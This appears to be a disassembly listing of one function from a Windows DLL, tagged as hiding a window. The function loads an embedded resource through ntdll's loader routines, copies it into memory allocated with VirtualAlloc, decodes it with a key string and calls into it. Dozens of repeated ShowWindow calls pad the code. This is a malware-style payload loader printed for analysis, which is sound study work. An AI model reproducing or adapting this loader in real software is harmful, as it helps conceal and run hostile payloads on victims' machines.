Function at 0x10008500
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10030180]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.ntdll.dll
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0x17
mov dword [ebp - 0xc], 0x1e55
mov dword [ebp - 8], 0x409
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x11
push str.LdrFindResource_U
mov esi, eax
call fcn.10001023
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 8
push eax
push esi
call edi
push str.LdrAccessResource
push esi
mov dword [0x10584418], eax
call edi
mov dword [0x1063e270], eax
lea eax, [ebp - 0x24]
push eax
push 0x1002c018
call fcn.1000d511
add esp, 4
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0x10000000
call dword [0x10584418]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
mov edi, eax
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
test edi, edi
js 0x1000882d
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x20]
push eax
push ecx
push 0x10000000
call dword [0x1063e270]
push 0x1002c010
call fcn.1000d49d
add esp, 4
push eax
push 0x1002c010
call fcn.1000d49d
push 0x1002c010
mov esi, eax
call fcn.1000d49d
imul esi, eax
mov edx, dword [ebp - 0x18]
add esp, 8
push esi
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x20]
mov esi, eax
mov eax, dword [ebp - 0x18]
push eax
push ecx
push esi
call fcn.1000ca50
lea edx, [ebp - 0x1c]
push edx
push 0x5d
push str.qi_gLyH_TcRyWcUy__e1c96hTlPC7_hMjs7sv_98gCSnsgW_uyGeYp_lI_mBHGWb_Y_IIaT8M3Ql_Ij2W_RpnV1V
call fcn.100010d2
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
push eax
push ecx
push esi
call fcn.100011cc
mov edx, dword [ebp - 0x18]
add esp, 0x24
push edx
push esi
lea ecx, [ebp - 0x11]
call fcn.100010b9
push 0x1002bffc
push eax
lea ecx, [ebp - 0x11]
call fcn.100010dc
call eax
mov eax, dword [0x1003009c]
push 0
push 0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.1000cdb1
mov esp, ebp
pop ebp
ret